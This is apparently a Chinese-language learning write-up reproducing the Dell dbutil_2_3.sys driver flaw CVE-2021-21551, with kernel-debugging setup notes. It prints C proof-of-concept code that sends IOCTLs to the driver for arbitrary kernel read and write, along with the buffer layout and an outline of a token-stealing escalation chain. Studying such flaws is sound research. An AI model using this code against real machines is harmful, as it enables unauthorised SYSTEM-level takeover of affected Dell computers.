CVE-2021-21551是戴尔电脑BIOS中存在的5个漏洞
会影响从2009年到现在的几乎所有戴尔电脑
漏洞出现在其中一个驱动文件中dbutil_2_3.sys
,主要包含下面5个漏洞,合在一起被命名为CVE-2021-21551:
- CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
- CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
- CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
- CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
- CVE-2021-21551: Denial Of Service – Code logic issue
这个漏洞的根本原因在于
it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:
任何用户都可以通过IOCTL
对这个驱动程序交互,进而获得一个任意地址写的能力,导致有可能会提权;
获取样本
翻出来了家里的老电脑,想搜一下这个文件,结果没找到
一看有这么一个DBUtil.Vulnerability.Cleanup.dll
发现这是对这个漏洞做的countermeasure
专门搞了这么一个用来删除这个文件的工具
在这里面看到要删除的hash
0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5
通过这个hash下载到了样本
漏洞分析
漏洞简介
摘抄一下crowdstrike
的概述
The quick synopsis of this vulnerability is that an IOCTL code exists that allows any user to write arbitrary data into an arbitrary address in kernel-mode memory. Any caller can trigger this IOCTL code by invoking
DeviceIoControl
to send a request to dbutil_2_3.sys while specifying the IOCTL code0x9B0C1EC8
with a user-supplied buffer, allowing for an arbitrary write primitive. Additionally, specifying an IOCTL code of0x9B0C1EC4
allows for an arbitrary read primitive.
漏洞的根源是这个驱动程序中的IOCTL
存在能够让用户写到内核模式任意地址的漏洞;
这里面主要有这几个问题:
IOCTL
设置为0x9B0C1EC8
是可以获取一个任意地址写的能力IOCTL
设置为0x9B0C1EC4
是可以获取一个任意地址读的能力
不过这篇文章是一个复现,看原本的博客说法,这里的两个问题好像只是几个issue中的一个
还有其他的漏洞点
任意地址写
为了让用户模式与内核模式进行交互,driver会创建device object
首先我们从驱动程序的入口点看起
这个入口点函数比较了一个幻数之后就转而调用了实际的入口点函数
可以看到这个函数中调用了IoCreateDevice
函数来创建DeviceObject
可以关注一下字符串\Device\DBUtil_2_3
这个字符串首先呗传递到了IoCreateDevice
创建了一个DeviceObject
,之后又传递到了IoCreateSymbolicLink
创建了一个符号链接
这种符号链接是用户模式可以访问的接口,在这个具体内容中用户模式的接口是\\.\DBUtil_2_3
这个文件
在联系起Symbolic Link
之后,就可以用CreateFile
来获取到一个指向dbutil_2_3.sys
的handle
例如一段这样的代码
HANDLE driverHandle = CreateFileA(
"\\\\.\\DBUtil_2_3",
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
0x0,
NULL,
OPEN_EXISTING,
0x0,
NULL
);
if(driverHandle == INVALID_HANDLE_VALUE)
{
printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
exit(-1);
}
获取到这个driverHandle
之后,可以用DeviceIoControl
来和driver交互;
这之后就要知道驱动中是哪里处理IOCTL routines
的
正常来说可以找到注册DriverObject
中的MajorFunction
的地方
这是一个IRP_MJ_XXX
数组,每一项对应一种I/O操作
这同样可以从入口点看到
DriverObject_private->MajorFunction[16] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[0] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[2] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[14] = (PDRIVER_DISPATCH)IoHandler;
IDA反编译的这几句代码
实际上是
DriverObject_private->MajorFunction[IRP_MJ_SHUTDOWN] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)IoHandler;
DriverObject_private->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)IoHandler;
这几个函数
可以看到这个驱动使用了一个函数来实现它需要的所有操作;
进入这个函数可以看到首先比较了一下是否是Read相关的操作,如果不是的话就在最下面再分类处理
这里比较奇怪的是,在参考链接里面写的是判断是否是DeviceIoControl
相关的操作
不知道是IDA反编译的问题还是如何
之后是一个多层的比较,比较了Parameters的这个值,对应不同的处理函数
任意地址写的函数在这个0x9B0C1EC8
的case中,这里IDA反编译的有些问题
这个存在漏洞的函数内容实际上是调用了一个memmove
memmove
可以把一块内存复制到另一块内存;
如果能够控制传递给memmove
的参数,那么就给了我们一个任意地址写的能力
可以看到这段代码中memmove
的三个参数最终都是可以控制的,都是从v2得到的,而v2实际上就是传入的InputBuffer
那么下面就是确认如何才能执行到这里
参考链接中再这里写了一个POC,并且动态调试是否可以运行到这里
#define IOCTL_CODE 0x9B0C1EC8
void exploitWork(void)
{
//obtain a handle to the driver
HANDLE driverHandle = CreateFileA(
"\\\\.\\DBUtil_2_3",
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
0x0,
NULL,
OPEN_EXISTING,
0x0,
NULL
);
if(driverHandle == INVALID_HANDLE_VALUE)
{
printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n",(unsigned long long)driverHandle);
//Buffer to send to the driver
unsigned long long inBuf = 0x4141414141414141;
DWORD bytesReturned =0;
//Interact with the driver
BOOL interact = DeviceIoControl(
driverHandle,
IOCTL_CODE,
&inBuf,
sizeof(inBuf),
&inBuf,
sizeof(inBuf),
&bytesReturned,
NULL
);
}
}
//Call exploitWork()
void main(void)
{
exploitWork();
}
之后参考资料中是在Windbg中下断点分析运行到memmove
的状态
(下面动态调试的图都直接扒来的,准备看的差不多再尝试调试复现)
上面的PoC向驱动写了一个QWORD,8个字节的A
,运行到我们目标函数之后,在这里比较了cmp ecx,0x18h
这时ecx
存储的是输入的这个长度,由于小于0x18
就直接退出了
这部分对应反编译的最开始的比较
之后就修改PoC的代码,给内存送过去更大段的内容
unsigned long long inBuf[4];
unsigned long long one = 0x4141414141414141;
unsigned long long two = 0xffff780000000000;
unsigned long long three = 0x4242424242424242;
unsigned long long four = 0x4343434343434343;
memset(inBuf, 0x00, 0x20);
inBuf[0] = one;
inBuf[1] = two;
inBuf[2] = three;
inBuf[3] = four;
后面都一样
运行到memmove
之前时发现:
three
中的低32位被放在了ecx
中;- 之后执行了
add rcx, qword ptr [rsp+28h]
,在rcx
中加了一个地址rsp+28h
,这里实际上加的内容是two
,内容为0xFFFF780000000000
four
被放在了rdx
中- 在调用
memmove
时,RCX
的值是dst
,RDX
的值是src
因此到这里就获得了任意地址写的能力:
控制传入buf的第二、三个QWORD就可以指定要写的地址;
控制buf的第四个QWORD就是要写的内容;
任意地址读
在IoHandler
这个函数中还有另外到达这个memmove
的途径
调用到这个任意地址写函数时IDA反编译的结构是这样的
if(ioctl==0x9B0C1EC4)
{
read = 1;
}
else
{
if (ioctl!=0x9B0C1EC8)
{
switch ...
}
read = 0;
}
status = ArbitraryWriteFunction(systemBuffer, read)
也就是说0x9B0C1EC8
和0x9B0C1EC4
都可以到达这里
并且可以看到传入的参数分别是0和1
在这个函数内部我们可以看到作用是设置src
和dst
当ioctl
值为0x9B0C1EC8
时是刚才看到的任意地址写效果
当ioctl
的值为0x9B0C1EC4
时就可以达到任意地址读的效果,直接使用上面的POC修改部分就可以
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4
void exploitWork(void)
{
//obtain a handle to the driver
HANDLE driverHandle = CreateFileA(
"\\\\.\\DBUtil_2_3",
FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
0x0,
NULL,
OPEN_EXISTING,
0x0,
NULL
);
if(driverHandle == INVALID_HANDLE_VALUE)
{
printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n",(unsigned long long)driverHandle);
//Buffer to send to the driver
unsigned long long inBuf[4];
unsigned long long one = 0x4141414141414141;
unsigned long long two = 0xffff780000000000;
unsigned long long three = 0x0;
unsigned long long four = 0x0;
memset(inBuf, 0x00, 0x20);
inBuf[0] = one;
inBuf[1] = two;
inBuf[2] = three;
inBuf[3] = four;
DWORD bytesReturned =0;
//Interact with the driver
BOOL interact = DeviceIoControl(
driverHandle,
IOCTL_READ_CODE,
&inBuf,
sizeof(inBuf),
&inBuf,
sizeof(inBuf),
&bytesReturned,
NULL
);
}
}
//Call exploitWork()
void main(void)
{
exploitWork();
}
到这里获取到了任意地址读和任意地址写的能力,之后需要的就是劫持控制流、绕过Windows的各种保护机制;
劫持控制流
劫持控制流的主要步骤:
- 定位PTE的基地址;
- 计算出shellcode在内存页中的位置,并提取PTE内存属性位
- 写shellcode,这个shellcode的功能是复制
SYSTEM EPROCESS
对象的TOKEN
属性到一个在driver的虚拟内存中可写的目标进程中 - 破坏页表项(PTE),使得shellcode所在的页具有RWX权限,从而绕过DEP
- 覆盖
[nt!HalDispatchTable+0x8]
之后调用ntdll!NtQueryIntervalProfile
,调用这个函数的时候会执行[nt!HalDispatchTable+0x8]
的位置 - 之后立即修复
[nt!HalDispatchTable+0x8]
的值,来避免KPP, Kernel Patch Protection(KPP会监控dispatch table的完整性)
由于没搞过Windows的漏洞利用,对这里面的一些机制不是太了解,这部分暂时先放着;
后面学习了解一下相关机制再进一步看;
漏洞复现
首先需要配置一下调试的环境,需要设置windbg、调试串口之类的内容
环境搭建
本机调试
首先尝试的是调试本机内核
开一个管理员权限的cmd
bcdedit /debug on
bcdedit /dbgsettings local
重启之后就可以debug了
在windows商店里面下载windbg,<C-k>
进入debug界面,选择local
之后就会自动下载pdb之类的调试信息,下载完毕之后就可以调试内核了
但是调试时发现,怎么乱七八糟的指令都不支持啊
结果官网一搜
好家伙,local debug只能看,所有运行相关的指令都没办法执行
那只能双机调试了呗
双机调试
由于物理主机是一个Linux的系统,所以双机调试的环境是两台Windows虚拟机通过Unix管道连接的
整体的架构图大概是这样
不过操作系统不是win7,是win10,不过这没啥区别
Debugger
首先关掉虚拟机设置一个串口,kvm中设置为Unix管道,随便放在一个/tmp
目录下的文件
这里新建硬件的名字叫做Serial 2
,所以在后面要命名为COM2
之后虚拟机启动之后<C-k>
运行起来Windbg,在里面设置COM
之后就进入等待连接的状态了
Debugee
被调试的虚拟机,开启debug模式后设置端口就可以
不过为了分离被调试模式和普通的状态,可以复制一个开机启动项,只有从这个模式进去才可以内核调试
注意,下面这些需要在cmd中执行,最开始是在powershell里面跑,一直提示出错,换成cmd就好了
C:\User\analysis>bcdedit /copy {current} /d "Kernel Debug Mode"
已将该项成功复制到{ce57f4f1-c1e7-11eb-a2f4-9cf465a0c717}
C:\User\analysis>bcdedit /debug {ce57f4f1-c1e7-11eb-a2f4-9cf465a0c717} on
操作成功完成
C:\User\analysis>bcdedit /dbgsettings serial debugport:2 baudrate:115200
操作成功完成
之后再执行bcdedit
检查一下可以看到
这个启动项开启了debug模式,接下来重启
启动的时候看到这样一个选择的界面
启动的时候就会自动连接上了
这样发现连接不上,奇怪;感觉可能是KVM里面新建设备的端口名称和VM Ware不太一样
于是尝试了一下用网络调试, 最后干脆用Windows了
C:\Windows\system32>bcdedit /dbgsettings NET HOSTIP:192.168.122.48 PORT:50000
Key=2u4jxw8spxim6.2im5msmw9y65z.2noyq161pn8tv.352yge10iuirq
加载驱动
最开始搜索的是怎么加载sys
文件,搜了半天没找到,最后去google搜了一下找到一个stackoverflow的文档,里面提到可以用这个OSR Loader
使用这个测试了一下加载成功了,之后运行了一下网上搜到的github现成的exploit,顺利提权到了system
这是一个普通的powershell的权限
运行完EXP的程序之后,提升到了system权限
漏洞调试
既然环境都没问题了,就跟着之前看到的资料走一遍
windbg之前没有用过,搜了一下基本的用法 (抄来了组员的笔记)
# 打印信息类命令
r # 打印寄存器的值
d eax # 查看eax指向的地址处的内容
d{a|b|c|d|D|f|p|q|u|w|W} addres # 分别显示ascii, byte, char, dword&ASCII, dword, float, pointer-sized, qword
k # 打印栈
u address # 反汇编对应位置的指令
# 调试类命令
p # 单步步过
t # 单步步入
pa/ta addr # 执行到指定地址
pc/tc # 执行到下一个函数调用
tb # 执行到下一条分支指令
g # 继续执行
# 下断点
[~td] bp/bu/bm [ID] [Options] [Address[Passess]] ['CommandString']
# bp 设置断点,设置的时候模块必须加载完成
# bu 预加载,此时模块可能并没有加载,例如对于dll的入口函数下断点
# bm 批量设置断点。例如在msvcr80模块中所有以print开头的函数下断点: bm msvcr80!print*
# ~td:线程序号。如果设置了线程序号,则只有当该线程调用才会触发断点
# ID:断点编号,如果不指定则从0开始编排
# Address:断点地址,例如TestModals 模块的Func 函数 TestModals!Func
# Passess:每经过一次断点-1,当等于0的时候,触发断点。默认为1
# CommandString:中断时Windbg会自动执行CommandString命令
# Options:
# /1 一次性断点,中断一次便删除
# /p 只有当前进程是指定进程的时候才触发这个断点(内核调试使用)
# /t 指定线程访问才触发断点 (内核调试使用)
# /c 最大函数调用深度 eg:bp /c5 msvcr80d!printf 只有调用深度小于5才中断
# /C 最小函数调用深度
ba[ID] Access Size [Options] [Address[Passess]] ['CommandString']
# 硬件断点
# Access:触发断点的访问方式
# e:当从指定地址读取和执行指令的时候触发断点
# r:当从指定地址读取和写入指令的时候触发断点
# w:当从指定地址写入指令的时候触发断点
# i:当从指定地址存在IO访问触发断点
# Size:指定数据访问长度
# Address:断点地址,是根据size对齐的。eg:size=4,那么address为4的整数倍
# eg:ba r1 0041717c 那么对地址0041717c的一字节,字访问,双字访问(读写)都会触发这个断点
加载了驱动程序之后
首先在windbg里面下断点
0: kd> bp DBUtil_2_3+0x11f0
0: kd> g
在虚拟机里面运行写的POC程序(就最简单的获取一个handle之后送8个字节a进去的那个)
看到这里自动断了下来,下面就可以正常单步了
单步运行到那个任意地址写函数的调用前
这时rax
为0x9b0c1ec8
进入到这里面的第一条指令
可以看到运行到这个 push rbx
的时候,rcx
中存着我们输入的0x4141414141414141
单步运行下去,将长度赋值给了ecx
,之后看到进行了比较
这里比较之后发现小于0x18,之后就跳转退出了
这和参考链接的写的是一样的
之后单步一段走到这里lea eax,[rcx-18h]
这里下面的call DBUtil_2_3+0x1790
实际上就是针对memmove
的调用
到这里马上就要运行到call memmove
了,却都没有什么关于栈的操作
确确实实运行到这一句call memmove
时
查看一下寄存器
Windows中64位程序函数调用时前几个参数是依次保存在rcx、rdx、r8、r9
中,后面的参数在栈上
参考链接
- https://www.dell.com/support/kbdoc/zh-cn/000186019/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability
- https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
- https://www.crowdstrike.com/blog/cve-2021-21551-learning-through-exploitation/
- https://connormcgarr.github.io/cve-2020-21551-sploit/
- http://www.osronline.com/article.cfm%5earticle=157.htm
- https://github.com/waldo-irc/CVE-2021-21551
- https://blahcat.github.io/2017/08/07/setting-up-a-windows-vm-lab-for-kernel-debugging/
- https://stackoverflow.com/questions/12696825/debugging-windows-kernel-from-linux
- https://stackoverflow.com/questions/9957547/utility-to-load-sys-driver-on-windows
- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/performing-local-kernel-debugging?redirectedfrom=MSDN